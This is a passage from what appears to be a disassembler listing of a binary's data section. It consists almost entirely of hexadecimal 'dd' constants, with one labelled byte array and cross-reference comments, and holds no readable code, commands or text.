		dd 1A320430h, 1010C11h,	0DBE4CA7Eh, 0ECC13812h,	15075ABDh
		dd 0D4E74340h, 0CEDEBF00h, 0B1F60F0Dh, 48A0EDD3h, 0D616A3D0h
		dd 3D3C3100h, 0D56AEFC1h, 5B270F60h, 0C9A0710Eh, 0FDF91EEh
		dd 803E293Ch, 1384AB1h,	79A9728Bh, 889003Dh, 0CD9C2EF8h
		dd 6500E504h, 0DF511297h, 5C1CD424h, 84302EAAh,	0A2212D92h
		dd 67E9D4A8h, 42F44Ch, 0EA08071Bh, 0E0816Dh, 0BB31F92Eh
		dd 5DF34F86h, 0C0FD9814h
		dd 25E500BCh, 0DF991F9Ch, 7F0F00A0h, 0CDD8324h,	0CE399A34h
		dd 5B31818Bh, 9C166496h, 6177FFCCh, 3E7E7083h, 1BE050E3h
		dd 9800D391h, 309AC158h, 1E3C6022h, 80BC1912h, 26BEEDE6h
		dd 4B007099h, 0A61A945Bh, 6D90389h, 0FC4E6BCFh,	10009137h
		dd 0A95733DAh, 8E462Ch,	0FD308070h, 51CEEDB5h, 0A7153Ch
		dd 0E42B5BFAh, 0C8DD27h, 0A81B71A1h, 3CBE7FE3h,	4C48420Fh
		dd 0F72E8008h, 3590D88h, 5590C8B3h, 75B1CE13h, 5D9BF31Bh
		dd 0A4641901h, 8DCD42Dh, 0C2E40AF0h, 66B296D9h,	5D62684Ah
		dd 5FDFB420h, 7B001D77h, 8C548D31h, 18729F42h, 0C9D9FC93h
		dd 0B60038B3h, 0ADD17643h, 0E8C0632Fh, 0D79D0185h, 7FA90457h
		dd 0BE518E2Dh, 310EC0FCh, 180AE6h, 1C5A15F0h, 63B8930Bh
		dd 50000DECh, 7A857702h, 0F26F680h, 1DC413DBh, 4BD00440h
		dd 530EF9CAh, 60DFBE0Dh, 0DC6F5752h, 78D91F69h,	46B600CFh
		dd 0A6E854Dh, 6F01B080h, 0B07584Fh, 0E0ACE0D9h,	8E0E4A32h
		dd 0C0094067h, 0AAC0E270h, 16FA035Ah, 9E8C12DEh, 0F38191A8h
		dd 69B63Ch, 0D4583D30h,	0F0611DD9h, 60FB18DCh, 0AB0E10E0h
		dd 0B6B847F2h, 0D0AD3700h, 2BCC224Ch, 61C73EF6h, 8A364E00h
		dd 87B462E9h, 0D9385101h, 84579621h, 0C40960h, 0AB712E6Eh
		dd 62FC7F67h, 0CB086A60h, 0B27D4BDh, 32EBF0FBh,	8E837A80h
		dd 7518A654h, 0A30CB1Eh, 7210087h, 17FD0D5Dh, 0D930622Bh
		dd 0F524071h, 20DE0109h, 0C68D1F0Eh, 9EB1F84Eh,	37E5A03h
		dd 0E83F17B8h, 56B514h,	5D4C7479h, 82A73BC3h, 2C24347Dh
		dd 63AEC8Fh, 0BA51F326h, 150100ACh, 0BBC26A1Eh,	0F60025CEh
		dd 797F0355h, 0FD258B1h, 3487A735h, 0F0407BA0h,	1E00A44Dh
		dd 0F634FFCh, 76F488h, 28BC6498h, 0B94362D0h, 0C7543300h
		dd 759C8C77h, 85F411h, 0A6ED19D6h, 0F2D005C4h, 32008D90h
		dd 267BF4B3h, 5BC9FCh, 87DAD201h, 5CD95EEEh, 0D117590Bh
		dd 0BDA3004Fh, 0C07DEAh, 108B12E3h, 3D31460Fh, 6C08FA00h
		dd 0BE3A279Bh, 0D318008Fh, 5E4E90B0h, 0B303AC8Eh, 6F3D3241h
		dd 36292174h, 90958408h, 0A6284D8h, 14420248h, 0ACF42177h
		dd 0C190140h, 1A117E12h, 22846008h, 0A42098Ch, 2168E811h
		dd 0F80089Ch, 4FBD4688h, 4882131h, 86B6357h, 399F52h, 16B22AA1h
		dd 0C600DFBFh, 482CAF31h, 76E6BD9Fh, 2DAE00C7h,	0AD296B4Bh
		dd 3B001568h, 28451C1Dh, 0AB4A9h, 24C32BAFh, 6D536E8h
		dd 99C11F03h, 0C817DE57h, 303320h, 8BBD97B4h, 9359B952h
		dd 98EB2A00h, 0E4F0D17Ch, 5120135Ah, 0F309FAE8h, 0C83A809Ch
		dd 0A5DAC7h, 0B6B34946h, 427A00Dh, 0AC895000h, 2A29F056h
		dd 31A8004Fh, 0E5B7D979h, 4D1E120Fh, 580EC1E6h,	0F05300A2h
		dd 5E4932h, 0FFD38454h,	7BE02746h, 862D6C0Ch, 6910FCh
		dd 0C1B76748h, 255EF728h, 0D01CF91Fh, 806FC74Bh, 85A484CEh
		dd 1A460018h, 4F64A04Ch, 0DA0079C5h, 9924F119h,	3CF5373Eh
		dd 55005F14h, 1E57E273h, 0EE0F5E86h, 38953C19h,	2B7D3C8h
		dd 4B633050h, 0EF608F88h, 0FB0068DFh, 72FCA097h, 0C0E12AE5h
		dd 0F8DAC098h, 590CFEDEh, 0D0F44D10h, 0C5EF0095h, 4BED6D31h
		dd 141872F5h, 23A1EA3Bh, 0D45100D2h, 0B1385C3Ah, 0AE006DB7h
		dd 32990973h, 0EE1D3Eh,	0A9191CFAh, 0F03CBA45h,	2B8B6800h
		dd 0F80EC2CBh, 267FA64h, 0D8C15C81h, 5CC033EAh,	6C0330D0h
		dd 62A8BCDh, 7E03F8DCh,	5B1E00DFh, 283FB5E8h, 7A01A3F2h
		dd 6C51F583h, 0E0F2AC5Fh, 1CD38964h, 17AD979Bh,	19050FB6h
		dd 3A48FE00h, 0C900F1F0h, 27A1EEF2h, 5C8065h, 53E609B0h
		dd 83EB28B2h, 948EB800h, 87E20345h, 0EF16004Dh
		db 0A6h
byte_520045	db 2Fh,	0AAh, 77h	; DATA XREF: ___:00437DC8o
					; ___:00437DE0o
		dd 100E1201h, 20EE2A20h, 94BF113Dh, 0A74801A4h,	1E5ED829h
		dd 4067CD79h, 59BE5490h, 3EC9A200h, 0B5BDB734h,	0CFA40F27h
		dd 0C0DF3543h, 32A526B4h, 850F0192h, 0A7503D23h, 21036D52h
		dd 4344E8C0h, 906C1CBCh, 1D24FEA7h, 37AF0778h, 3E1B203Fh
		dd 0A900465Dh, 7A9DB320h, 0E00DEEh, 8AC91361h, 0A5185C83h
		dd 0A296D900h, 0C80852B5h, 78320305h, 7BAAFED8h, 1D40FCA0h
		dd 51992B03h, 907A57F9h, 2CF1DB7Ch, 36E841h, 86FC123Fh
		dd 6F7B7D69h, 1F714213h, 48A06C00h, 0F5784Eh, 71C1EDDh
		dd 724BA114h, 9FECBE00h, 0B38C305Ch, 88700033h,	65BDF09Ch
		dd 0F0085D4h, 0C3588BC4h, 0FF191D8h, 0F8EB155Fh, 0E90A5E20h
		dd 860EAAEDh, 80325A30h, 0BE991E56h, 0DEF0052h,	0A3CD82FAh
		dd 6D0065F2h, 955C8439h, 2FB664h, 96EB177Fh, 5047E04Dh
		dd 848D6E00h, 63C77556h, 0C2713E44h, 3BE50076h,	0A69EBE97h
		dd 22029990h, 815786D8h, 0B4E0A07Eh, 42B99Bh, 17B75EEBh
		dd 4486159Dh, 0D463E100h, 0B9149E1Eh, 1EEFEC45h, 8EC125A1h
		dd 0E4795B0h, 92ED71A3h, 0C9AD424h, 4E47F304h, 4F021ACEh
		dd 8820DF96h, 131222Ah,	0B6FEF683h, 24AB018Dh, 0C91E29ACh
		dd 7D0E0BC4h, 236AA0BFh, 1306B741h, 40ADECEBh, 0AC2EC760h
		dd 0AF1E445Fh, 0D4405422h, 0A063D546h, 68F9008Fh, 21CE65E8h
		dd 0CD1D168Ch, 0BD80A17Ch, 0F1765C91h, 0E07111h, 8A0533DBh
		dd 209B4259h, 0D6DD5E00h, 0D3574C44h, 76231C94h, 7C09FEDFh
		dd 0B8008F9Ah, 95CF5506h, 5DBE4000h, 173A3078h,	103F601Ch
		dd 8AB906F0h, 0AA216B01h, 88EAE922h, 3F336030h,	91801864h
		dd 0F9EF7A6Ch, 6DE617EDh, 9FFCE707h, 18405D4Eh,	46BBB7h
		dd 2F32A14Fh, 50A49034h, 0B14ED800h, 7845F1B3h,	706F4B2h
		dd 4984F6DAh, 60B7B0DCh, 0EFF26210h, 708C5700h,	77AE79A6h
		dd 4F6601B1h, 0B367F3B9h, 2CAA8032h, 0F5825549h, 5B7400F0h
		dd 783CFA3Eh, 0FEFC1156h, 96897600h, 48EDDFD9h,	98F2022Ah
		dd 0A292BB1Bh, 0F80095C2h, 0B2CC179Eh, 3C5F4603h, 0E8018A39h
		dd 1CC75B4Dh, 40F91604h, 8532721Eh, 1A00D019h, 13B0DF03h
		dd 0F2305Fh, 0A5E10D24h, 89335E0Eh, 3E00F1B8h, 4E8EC8B7h
		dd 3A91BCh, 8D09CF12h, 342068DAh, 0D8212C00h, 0B02DBA0Fh
		dd 245D7EBBh, 0FC816F4h, 2A409FC1h, 7A938464h, 0EC357800h
		dd 0CE1D8A81h, 89C71F70h, 1EDCDD6Dh, 163C00ABh,	0D668D4C8h
		dd 44D5C216h, 0F0511300h, 0BF325Eh, 0F51774E4h,	375CA803h
		dd 7E97DD07h, 530A9CCh,	1C322656h, 40C0CFC2h, 0B6246A93h
		dd 8A28FC2Eh, 7C00E5DEh, 0EB2CDDB2h, 79516F1h, 0AECD868h
		dd 0BA3F50E5h, 0CC005C82h, 6B6C3814h, 12843D5Bh, 2FC1DAh
		dd 0EE796AC4h, 0CC07E082h, 1FAA9675h, 99FB5D40h, 265701DEh
		dd 0DB250877h, 0B470300Ch, 6D118B00h, 0F15BF835h, 9D0A007Eh
		dd 1462FCA1h, 78B0A8C0h, 0A5DF3100h, 8C5A9510h,	355E3C1Ah
		dd 54EB909Fh, 4903EC15h, 25610B48h, 45856E88h, 0B20672FAh
		dd 0B49F2A6Bh, 28EE064h, 6486F420h, 0C0647C63h,	0BA709D80h
		dd 7E003771h, 0E24F2DE3h, 3BF2Ah, 8BE22C5h, 0BA780B0Ch
		dd 0D90D9905h, 1E805E3Dh, 0E1957Eh, 0C22C696Bh,	9F2DCA25h
		dd 0E97FFA00h, 383B3668h, 1E11145Eh, 0B0449CBFh, 16C600E7h
		dd 981D2EBh, 0F705C992h, 0B714049Fh, 4AB107C0h,	68E4EAh
		dd 0C2D35AE3h, 4D1784FEh, 0C9E98000h, 0C6C0C7F5h, 0A7E1008Bh
		dd 4902231h, 86004632h,	0C7317ADh, 1AC64D1h, 1AF4F5F2h
		dd 0E0E9F924h, 0CC9870F8h, 0E40038ECh, 36FB629Ch, 60D635h
		dd 0C1673F93h, 0C285E32Ah, 0D8E82950h, 36AD2B03h, 0EFB09AB6h
		dd 0E0AB2DC3h, 80139Ch,	0DA38D3CAh, 8C0FB729h, 0F24E0924h
		dd 1AC5C100h, 9895BCh, 0EF2FA8C6h, 3912EC18h, 0AC98F975h
		dd 33DA6302h, 0E0E9C955h, 39C4BF0h, 85E7538Bh, 0AFF877D9h
		dd 0BEB006AAh, 0B9C24600h, 48F36752h, 3389436h,	69A642C5h
		dd 0B0A6288h, 0FF79C700h, 475C7A71h, 7F90ACh, 92A1F0B0h
		dd 0D122BD2Fh, 81072A39h, 4FEB1417h, 8A3006F4h,	0CD872C6h
		dd 2B594197h, 0B34CBCF8h, 0A6313F85h, 0B000D83Ch, 1E37AC2Fh
		dd 4566003Dh, 0CAAD2EABh, 2D06A9E7h, 9DB896E9h,	352900F1h
		dd 42AB2C89h, 0AF2668A4h, 0F8302754h, 4A975ED7h, 0B6803035h
		dd 0AF0EC60Eh, 1C7680h,	10255774h, 14650066h, 0A077FDE3h
		dd 96003D61h, 8978CBF2h, 19BEEDh, 157CFAAAh, 834BEC26h
		dd 6BB9B200h, 635896E3h, 0C4E800DCh, 0B4E2AB33h, 5903C686h
		dd 2AAF240Ch, 8D1803C7h, 2B30C0FBh, 0DD5C5275h,	0D13F00E8h
		dd 8FDEAFA4h, 6D4A00F5h, 9C5EFDAh, 8100E5A0h, 20089D53h
		dd 4874FF2h, 4B8F36B2h,	5471C097h, 8E009A27h, 33BEDBE6h
		dd 3BC74A06h, 0B8030A3h, 0A8260FBh, 0D3C4617h, 14198066h
		dd 0C8E5C44Dh, 7B4B061h, 9EA8B712h, 25439099h, 0BB004745h
		dd 0DCC795DAh, 1985F7Dh, 530405F7h, 2B50D169h, 3E948CA0h
		dd 6E30CA70h, 11234E88h, 0BC3B1500h, 0E2FD8B5Fh, 47A303CEh
		dd 0FC0CB79Dh, 49A11007h, 0EE70A267h, 8C2C6Dh, 0D4738F42h
		dd 7A87655h, 6EAEC8A8h,	0ED1140h, 9EAACE3Bh, 251B5D4h
		dd 0FFF3705h, 0D980866Ch, 25D25FB8h, 7878A3AFh,	2AEE7000h
		dd 8D132F8Bh, 85A90004h, 0E2C6B814h, 0A0008EADh, 0F3B6DD4h
		dd 7913F754h, 0A5660071h, 7FC8156Ch, 0F50B236Eh, 31ED39Bh
		dd 38142586h, 7C9F2188h, 0C52438h, 0A24064Ch, 1601D912h
		dd 2D04671Dh, 0E940EB11h, 78D84E1Eh, 9FF02A7h, 0BC4A21B7h
		dd 57F122E0h, 0F5615D1Ch, 9FEB79C0h, 3C126808h,	0A9017BE7h
		dd 0AE4497EDh, 0DF863023h, 938CB100h, 0DAF84817h, 0E176001Ah
		dd 0DD2DFD3Ch, 3200393Ah, 0BB40D49Dh, 1AB85Ah, 5036DB49h
		dd 86D2A54Dh, 14411F48h, 6F8C546h, 0EF5AD378h, 0A113AD0h
		dd 0B3858780h, 725CDB37h, 609DA00h, 0FCEBC197h,	3C7219h
		dd 1C7499E9h, 0E147C657h, 39003D7Ch, 181BD416h,	380D7064h
		dd 3201A68Dh, 34DB2BABh, 4268243Bh, 0B71A139h, 3EE070h
		dd 50ACB592h, 0B40A0007h, 0A974B25Eh, 8700AB30h, 1137C24Dh
		dd 92FCD9h, 9A57E186h, 7C3E454Bh, 0B5C858h, 0EBD08887h
		dd 7AB2EDh, 4B5A1576h, 0ACC282F3h, 4170F4FCh, 656EA10Eh
		dd 1800574Ch, 7AAD70F1h, 39600066h, 0AC75778Fh,	6307237Bh
		dd 46768E3Ah, 74715270h, 86A600EDh, 0F5503869h,	8A00D970h
		dd 0E4227FB8h, 1E9891F1h, 40AFA8F8h, 9F5D78D8h,	0D40355F7h
		dd 0BADE7789h, 2BFC0D2h, 5B630490h, 80ADB6B7h, 0DE21C55Ch
		dd 0F1C61700h, 4CF037B5h, 66B30084h, 223A4DABh,	97008D72h
		dd 0B5339AB2h, 329E369h, 4E4AC211h, 0D0026F7Dh,	7A9CF40Dh
		dd 0B7E080EEh, 0DDA3303Bh, 37B8060h, 6DE9FD3Dh,	0AB3E8C90h
		dd 0AB90922h, 8F14A0C5h, 0FEB352Dh, 611BFCDCh, 0FF082AA1h
		dd 2015F959h, 50F2CF95h, 2907A0F2h, 0C616FA4Eh,	0A2D4E750h
		dd 0CFC0090h, 91EEF22h,	0AA00BCBAh, 0A8C1EB4Ch,	30608B88h
		dd 0A9A9E2DDh, 2C734D8Fh, 5B066800h, 0C39385D5h, 0B4D7049Eh
		dd 0C1164445h, 0C4DF6B16h, 300F918Eh, 0C07C1928h, 3C8D92DCh
		dd 4223012Ch, 0ED0D8046h, 1BBC50E5h, 24801A73h,	54AC49EFh
		dd 4BE00074h, 0CE3637DAh, 450ED49Ah, 13C7F6A6h,	82AF6A01h
		dd 16E49CE1h, 8B1C07BBh, 90A80715h, 98A7EC25h, 4F1E5B0Fh
		dd 8E18807Dh, 7953F14h
		dd 0A2C86A47h, 0A40533F3h, 274D4EB0h, 9A927600h, 81D49C78h
		dd 0EE650063h, 0CA5B75F5h, 0E5004CA0h, 0A2CF7A3Fh, 4FF7A3h
		dd 688771DCh, 28C9B2D7h, 112CCC00h, 0B9E3E518h,	13140131h
		dd 0B59F26CAh, 0FC59C8EAh, 8B83A700h, 6344863h,	1B5F0E42h
		dd 0F0207E54h, 9636F31Fh, 0FA0346EAh, 7AD1AE3Ch, 4015FA7Fh
		dd 786D4C0Ch, 0F8514C08h, 7B60EE09h, 6AFAEC20h,	0FD02A2ACh
		dd 48E34CE4h, 9BE84046h, 5B920FB6h, 89A5A19Dh, 13E8000Fh
		dd 2865DEE0h, 2CBF972Ch, 3C14CD01h, 0D900A002h,	4420E737h
		dd 2EBF014Ah, 51F01808h, 2886E454h, 0CA1A0600h,	85145556h
		dd 1B090727h, 40C062CFh, 541091A9h, 0C3035903h,	8F847597h
		dd 0C05FED70h, 401770A4h, 0B720928Ch, 7EBB2405h, 3AC60092h
		dd 17C0803Dh, 1E00F77Ch, 0AE63F128h, 1226840Bh,	338808h
		dd 5307AB6Fh, 75008CB2h, 0CBA43AD7h, 1CDF04h, 329C5D1Bh
		dd 0B9DEF989h, 3BC16E00h, 3DDA69F8h, 0A89CA317h, 5056EF8Fh
		dd 4451B01Eh, 87CDE12h,	0A0BD4A44h, 24E353F4h, 80C8931Ch
		dd 628BA4EAh, 837E37D7h, 0CBA10600h, 0B156764Ch, 614407BFh
		dd 32F4D4A6h, 76C06B84h, 9A1259E5h, 4400DE31h, 0BAD5CEDFh
		dd 0E4C7001Eh, 635F96B3h, 0F4068C37h, 859AFEAAh, 73654880h
		dd 893CAB00h, 17298DA9h, 36643900h, 43281A1Bh, 4EA0C1BCh
		dd 0F8DF0FF8h, 5A07D495h, 7DA721D7h, 72C5D0DCh,	1C980301h
		dd 84B63770h, 0ECBDE4F1h, 8A010608h, 0D5954771h, 0E3C88796h
		dd 0A47400CEh, 0EEACC360h, 0AE05462Bh, 16B3E71Eh, 9DD450h
		dd 0B489B5D2h, 0E8914283h, 7E60733h, 0E1232BCCh, 80E35C02h
		dd 0EDD68252h, 72E08E1h, 0A3AB4D85h, 0B4F090FDh, 0A609C666h
		dd 4923DAh, 0EECC39C8h,	46300385h, 24886979h, 0C351AC00h
		dd 0FD56F2CFh, 0F8307FEh, 2273D606h, 7843211Eh,	10931AD8h
		dd 0E90F98B0h, 1BA1C741h, 4C528728h, 0A6ADC012h, 0C1D5B0BCh
		dd 69F94A29h, 0B7AB3046h, 434B4801h, 0BD168027h, 0FCF6BF0h
		dd 269FE78Ch, 0F82A0BA0h, 6C00FE56h, 7345C8EFh,	7D9941F0h
		dd 62E50069h, 1535B889h, 24907191h, 141B558h, 4904A060h
		dd 3D60B033h, 0F3A98A6h, 6AB3304Bh, 8BD7A500h, 0A4000261h
		dd 0B9351504h, 0C662A8h, 0AF3AE0A1h, 61D5128Fh,	0E77E817Ch
		dd 157C6FF2h, 0DC9F5A2Eh, 8F8FD99Fh, 0E01B8E8Ah, 71E74BA4h
		dd 2AAC1C76h, 4DBAC0EAh, 7F2C9F4Eh, 0A60734B0h,	0F8FE700Eh
		dd 10FC830h, 36400195h,	1FA77A56h, 0E422D5FDh, 0B3011E61h
		dd 95EBC264h, 0E8204C14h, 8B78E0h, 0A035AF5Eh, 0DED16030h
		dd 18887800h, 0ED0E33C3h, 0BC8B0D85h, 0D8707967h, 0C500A022h
		dd 0B3471171h, 29C1036h, 0F95CA156h, 5240157Ch,	0D5071DDAh
		dd 95168105h, 0CE5A82D0h, 10980079h, 67AF611Fh,	64288E85h
		dd 5F07C88Bh, 0C2A025Bh, 0CFF3C02Eh, 0C8D823h, 0D0471AD7h
		dd 43EC2B1Bh, 0C17C2600h, 0B214E773h, 0DD50033Fh, 0E8456679h
		dd 0F42A0EA8h, 0D400B990h, 1B8698ADh, 0FCBC3094h, 0D6ED05D7h
		dd 0C7F596DAh, 0CF92E004h, 3BF42ECAh, 1441590Ah, 9C0018A8h
		dd 8DAAB15Dh, 0C43924C6h, 0AE9C3BF4h, 6F9E00EFh, 4CD1AD91h
		dd 2B00FFF4h, 5815CC2Dh, 275403h, 0FE4D6D7Fh, 84B5B110h
		dd 3BB49500h, 82E17E2Eh, 76201E5Ch, 0FB05CF6h, 7180C204h
		dd 9440ED50h, 1B3EE401h, 8626102Fh, 14A19120h, 0EC2DB612h
		dd 0C0DC5E1Ch, 72EAEE6Ch, 890BA7BAh, 0A0DDEF15h, 74876464h
		dd 3587DF2h, 8C2068A2h,	0E0F836DAh, 0B8002341h,	25476075h
		dd 162BDFBh, 6955E3D8h,	0E0AB38F7h, 33E87FB0h, 1C584D4Ch
		dd 5BC195F5h, 463EA7C3h, 3EC73DD0h, 0A6947942h,	0FC7DDC55h
		dd 0CFED00F9h, 4974F834h, 0E700E8C3h, 66B2C508h, 261762FCh
		dd 12800C46h, 55744B53h, 3D609010h, 0C09C88h, 796D5ABEh
		dd 0B5C370E5h, 93E953Fh, 80DD8762h, 51EBEE74h, 646B1E24h
		dd 92938032h, 87F327C7h, 3430F9E8h, 57115088h, 0EE780743h
		dd 0D324F821h, 839C3119h, 5CD8990Ch, 8D003698h,	0F226F7F5h
		dd 3F3B1B66h, 108E7869h, 7580A553h, 0F001DE6Eh,	7B93151Eh
		dd 0B7315600h, 0EEF912h, 3DCDBB6Fh, 3908B2Eh, 58AE3360h
		dd 7F53D861h, 0BA7900BCh, 98E524D6h, 8724E7CBh,	0AE39B4F5h
		dd 742A6610h, 0C31D29F4h, 0AC00F61h, 3A924406h,	0D23C0037h
		dd 4BA0F29Fh, 0A44CA5F8h, 20E00734h, 8079C984h,	504DA98h
		dd 0CD6D0057h, 4AA6D1E6h, 4D00A968h, 0EB752943h, 2779EA2h
		dd 6490EEFBh, 0E74E44h,	361888D1h, 9D6B600h, 7AB8743Dh
		dd 0C98F8h, 0D9D1ABBCh,	23F7F05Ch, 42EFA81Ch, 1C02EC45h
		dd 30007CD5h, 0C9C41F76h, 5B6B0078h, 3FE151F9h,	9248C881h
		dd 0D92D006Eh, 0B4AC0FDAh, 0BB003EEh, 3F44FEC7h, 81A27039h
		dd 79C6EFF5h, 0FFF84A89h, 4C2B7072h, 0D12EFC71h, 69DF00B3h
		dd 958351B5h, 2B298600h, 0CDAFE011h, 36872C55h,	0C92692D8h
		dd 0D218201Ch, 0C7300E17h, 39E71C01h, 0BEE48BABh, 69D39868h
		dd 300018A8h, 20B3E5E8h, 38FAFD0Fh, 0B09980AFh,	9ABDF0Dh
		dd 0FE21081Eh, 6AC2020h, 8F0051F7h, 29D2502Ah, 191125h
		dd 0E9028EEDh, 2F40BD05h, 47E3C103h, 0C03F30D6h, 7CE8AF60h
		dd 4E94C43h, 9D57261Ch,	185F4045h, 0C33A2209h, 0D80C0BFAh
		dd 0ACF1DC1Bh, 82510159h, 78D1451Fh, 6D06FCA6h,	849CF426h
		dd 49C12B00h, 786284Fh,	9630C5E8h, 65AB2021h, 0FA00A603h
		dd 99B4B014h, 773BE61Eh, 0F19E0BE0h, 0C09787Bh,	939D1D00h
		dd 0F51E15A5h, 0E700D75Fh, 7038A78Dh, 0C0D2005Eh, 0CC546EA0h
		dd 4D004ECBh, 58DA9B57h, 0EAC8A1h, 0C4E72DA9h, 6FA4D8D2h
		dd 0D004C000h, 97F6AB33h, 0F86E296h, 0FD69AFE1h, 1F5D8161h
		dd 3AA6F8BAh, 0A53DE00Bh, 6A09153h, 3F8020h, 7FE62CEAh
		dd 0E70FD2B2h, 14000C5Ah, 53947781h, 91EF3D01h,	0C00332Dh
		dd 0B0E45B92h, 278B900h, 60A8209Ah, 2F6500C7h, 9E9343EAh
		dd 0DD706C73h, 0FA0FCC94h, 0E5086016h, 332CE25h, 6D5DEBC9h
		dd 0E3EBC547h, 87B89683h, 49007804h, 7D5BB45Fh,	0D3C7A3h
		dd 0CB1EBAF4h, 33E79488h, 0C1FCF91Dh, 3740501Eh, 0B95BF6A1h
		dd 0D84A601Bh, 39876CB7h, 6794FE00h, 5B230DA9h,	0F96E0010h
		dd 7182B03Eh, 0FE260ED3h, 2A80E030h, 0CC4435D4h, 556B005Eh
		dd 7985292Ch, 50002BC6h, 3730283Bh, 4960C858h, 6900C076h
		dd 0F4424CA0h, 654DEA10h, 0ECEE0ED0h, 0EFBDCF95h, 61116E8Eh
		dd 0A688E014h, 2A048E80h, 318CE408h, 5668D3Ch, 86E20A2Ch
		dd 0B271000h, 0C8BE1h, 3F63618Ah, 0AFCE0121h, 0D07B0BAh
		dd 924D73EBh, 0B43059F0h, 0C82F609Bh, 0B5E93B55h, 115E0432h
		dd 1D420203h, 0A0C9CB18h, 0A719B7h, 0D0D1DD08h,	212B5409h
		dd 71129AEAh, 4C0BDEDh,	5CFC2465h, 940EA022h, 6405AC9h
		dd 2645055Ch, 0E90C6606h, 130EA2Bh, 2C53410Ah, 807DB16Fh
		dd 0A77066A8h, 165638Eh, 0BB80F3C2h, 60A5F447h,	6F0E5764h
		dd 400A0D7Ah, 8F21EA9Dh, 9F340206h, 0A8FA0E8Eh,	0F53EAB60h
		dd 0F819643Eh, 0C7CB8B00h, 92B8FF84h, 0D5D700B2h, 10C92403h
		dd 6D13B74Bh, 24C0A2ECh, 289ED4Ch, 0F994B3B8h, 0B987495Dh
		dd 21E24653h, 0B8185000h, 0C127847Ch, 191060A6h, 0EBE5B43Dh
		dd 5492E15Ch, 1A004010h, 0D6BC3249h, 19F37Ch, 0C9BFB828h
		dd 2D4EB13Bh, 0A71A3C01h, 0D62A334Ah, 509887D6h, 6F519CA0h
		dd 30CD5056h, 96F400B3h
		dd 0FCAE38C2h, 2A0413D7h, 6DBA8C7Dh, 0C09320C0h, 5897C5Ch
		dd 1DDFFCAFh, 80A8242Ah, 771F0CB4h, 80114869h, 0C606AA8Fh
		dd 7AD13989h, 0F0085133h, 22872100h, 4F996AAAh,	79E00018h
		dd 0BFF7628Ah, 28607C2Dh, 699705E1h, 1E10195h, 42495A07h
		dd 0DB2AC088h, 1E8DB200h, 10B80AB5h, 6F50007Bh,	0DC971BD0h
		dd 0D8F84B3Ah, 0E8816030h, 305C4AF7h, 45B17975h, 8C01AEB9h
		dd 6A71C2D6h, 89886F8h,	0BE382142h, 4A10AE0Bh, 69F38001h
		dd 5811177h, 0E498C618h, 8D840358h, 683A4AF1h, 2F30C114h
		dd 44810F36h, 0BCA09405h, 0A41312B9h, 230079B8h, 6E06616h
		dd 0F6E8E2F4h, 7DE9004Ch, 9FFA41ACh, 180015D8h,	0BFC9B82Fh
		dd 5A264F7h, 2A1C83C8h,	0AB5BC0AEh, 9E38E828h, 0EF8D2870h
		dd 0D900197Bh, 0C9BB3AEAh, 5B0DB3h, 9E052C45h, 814A5DAh
		dd 94572300h, 8D78D20Eh, 0A75200D1h, 7920C1E5h,	0C7026D24h
		dd 2F7E367Bh, 0AD67E0A2h, 509FE00Eh, 0BFAF49h, 3D9471C6h
		dd 0A5845027h, 2D0097E2h, 0EA028B37h, 0EC6ABh, 8DC0B122h
		dd 2F992301h, 0DD6F6103h, 0CF1336A3h, 91AD8FF0h, 0CDE31752h
		dd 6D4103E8h, 2A85770Ch, 0D400EF04h, 0E0A313A0h, 9F00864Fh
		dd 0C57B8F9Ah, 0CA873Dh, 0D3EF0C6Ah, 2B76DACBh,	9C7A1E1Dh
		dd 56271280h, 13DF00Eh,	0CF666E09h, 90CC55E9h, 0E88FAA29h
		dd 71451171h, 21AE3711h, 286C14D6h, 0E1085121h,	8AC290D1h
		dd 4D1014EAh, 48D3B084h, 2F2942CEh, 22689922h, 9A22D291h
		dd 2983227Dh, 1C219524h, 108612D7h, 0A189238Fh,	0D644A008h
		dd 0DD6188B2h, 0D2CAEE00h, 632CC697h, 0CBED00D8h, 2DC196D9h
		dd 0EF3FDA62h, 5FE800C9h, 90C25380h, 0AAE2073Ah, 0E04A815Eh
		dd 0B1E53B97h, 4DBFF00h, 0DD60BD38h, 0C2F500D3h, 5E573A1Ch
		dd 620179AEh, 0BF411A81h, 0F5C8648Dh, 85610F55h, 4CC0BAECh
		dd 0B5D2C7EFh, 0FFB2C400h, 0A9E2A8A1h, 409E2E71h, 4DB3075Bh
		dd 1B3E9065h, 0D00CA0Bh, 40E1A2Dh, 60CE0729h, 0B4DD1125h
		dd 4F1E975Fh, 2B0FB06Bh, 48984077h, 1232C9DFh, 40AD0D1Fh
		dd 0C69BD528h, 0E307AEF0h, 28A2A03Dh, 0F8D78513h, 3CF34Eh
		dd 0BD962E9Dh, 8F4CA3F2h, 112AC301h, 58BFC47Eh,	69F6C4h
		dd 962FBC14h, 460D5FDFh, 0E16F0FEh, 0FF0011F9h,	4CE7C143h
		dd 0A61A3121h, 10B5F680h, 0A421340h, 31A8554Dh,	9E2B00A8h
		dd 0A7467E93h, 0C3873B00h, 5F92B307h, 0A1FEACh,	6A932A12h
		dd 0B05D3F0Bh, 0C33BEE77h, 4D828004h, 0D50DC41Fh, 67F5009Eh
		dd 587BACF3h, 0CB00865Fh, 62F198FFh, 5617Ah, 0AD58F2Ch
		dd 89159D59h, 5E33A600h, 9A794A90h, 681102C4h, 0B4E5A814h
		dd 63B27C40h, 3E3D5700h, 65825589h, 0A7A038BEh,	42DAFF00h
		dd 4123748Bh, 674AF000h, 0AE20C3Bh, 1624002Ah, 27B2B72Fh
		dd 0B5E671E0h, 0A7065E00h, 0D5190B9Dh, 635C0186h, 6E38ED9Ch
		dd 0F919206Fh, 0C2D090A3h, 5F00390Fh, 9ECA25B0h, 100AC9h
		dd 0F52CB354h, 3A08C7A3h, 0C1790B1Dh, 605FD3CFh, 0BF396B4Eh
		dd 5ED000A6h, 386961F0h, 0CE0EAD58h, 20176829h,	3623D2ECh
		dd 0A364009Bh, 1B15A04Bh, 89FA07D5h, 20B39D00h,	0BFB75A39h
		dd 9371D8h, 43162211h, 0DDAA8F65h, 1BCC1700h, 907B7F3Eh
		dd 0ED6401C4h, 2D559A14h, 0A32C013h, 0E1B8807h,	0A320E11Ch
		dd 0C7CE00Ch, 6A9F50B7h, 9090A5E0h, 81D38D00h, 0EF6421C4h
		dd 0AAC70191h, 0D132FACBh, 0E56CF0B6h, 9A014890h, 12470ABFh
		dd 8EF401E0h, 0C9F628h,	0DAB1E14Fh, 0CB4B6AF3h,	3361B900h
		dd 0C2E52448h, 0A19E0015h, 7C531AEFh, 0D4000F2Eh, 598C2FC1h
